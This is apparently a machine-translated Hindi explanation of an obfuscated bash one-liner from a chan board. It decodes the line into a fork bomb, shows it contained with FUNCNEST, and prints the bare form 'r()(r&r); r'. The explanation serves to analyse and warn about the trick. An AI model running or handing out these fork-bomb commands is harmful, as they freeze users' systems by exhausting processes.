पहले, आइए पूरे कमांड को देखें:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
इसमें एक डबल-कोटेड स्ट्रिंग होता है जो कि प्रतिध्वनित होता है uudecode
। लेकिन, ध्यान दें कि दोहरे-उद्धृत स्ट्रिंग के भीतर एक पीछे-उद्धृत स्ट्रिंग है। इस तार को अंजाम दिया जाता है । स्ट्रिंग है:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
यदि हम देखते हैं कि इसमें क्या है, तो हम तीन कमांड देखते हैं:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
प्रदर्शन ब्रेस विस्तार मध्य कमान पर, हमने:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
पहली पंक्ति पृष्ठभूमि में एक निरर्थक आदेश चलाने की कोशिश करती है। यह महत्वहीन है।
दूसरी पंक्ति महत्वपूर्ण है: यह एक फ़ंक्शन को परिभाषित करती है r
, जो जब चलती है, तो स्वयं की दो प्रतियां लॉन्च करती है। उनमें से प्रत्येक प्रतियां, निश्चित रूप से, दो और प्रतियां लॉन्च करेगी। और इसी तरह।
तीसरी पंक्ति चलती है r
, कांटा बम शुरू।
कोड के बाकी, पीछे-उद्धृत स्ट्रिंग के बाहर, बस अड़चन के लिए बकवास है।
कमांड को सुरक्षित तरीके से कैसे चलाएं
यदि हम फ़ंक्शन नेस्टिंग स्तर पर सीमा निर्धारित करते हैं तो यह कोड सुरक्षित रूप से चलाया जा सकता है। यह बैश के FUNCNEST
चर के साथ किया जा सकता है । यहाँ, हम इसे सेट करते हैं 2
और यह पुनरावृत्ति को रोकता है:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
ऊपर दिए गए त्रुटि संदेश बताते हैं कि (ए) बकवास आदेश rYWdl
और Y29j
नहीं मिला है, (बी) कांटा बम FUNCNEST द्वारा बार-बार बंद हो जाता है, और (सी) के साथ उत्पादन echo
शुरू नहीं होता है begin
और, परिणामस्वरूप, के लिए मान्य इनपुट नहीं है uudecode
।
कांटा बम अपने सरलतम रूप में
यदि हम अशुद्धि को हटा दें तो कांटा बम कैसा दिखेगा? जैसा कि njzk2 और gerrit सुझाव देता है, यह ऐसा दिखेगा:
echo "`r()(r&r);r`"
हम इसे और भी सरल बना सकते हैं:
r()(r&r); r
इसमें दो कथन शामिल हैं: एक कांटा-बम-फ़ंक्शन r
और दूसरा रन को परिभाषित करता है r
।
पाइप सहित अन्य सभी कोड, uudecode
केवल अश्लीलता और गलत काम के लिए थे।
मूल रूप में अभी तक गलत तरीके की एक और परत थी
ओपी ने चैंन बोर्ड चर्चा का एक लिंक प्रदान किया है जिस पर यह कोड दिखाई दिया। जैसा कि वहां प्रस्तुत किया गया है, कोड इस तरह दिखता है:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
इस कोड के बारे में पहली टिप्पणियों में से एक को नोटिस करें:
मैं इसके लिए गिर गया। केवल उस हिस्से को कॉपी किया जो गूँजता और सड़ता है, लेकिन फिर भी forkbombed हो गया
चन्न बोर्ड पर इस रूप में, किसी को भोलेपन से लगता है कि समस्या eval
के उत्पादन पर परिचालन वक्तव्य होगा uudecode
। इससे यह सोचा जाएगा कि हटाने eval
से समस्या हल हो जाएगी। जैसा कि हमने ऊपर देखा है, यह गलत और खतरनाक है।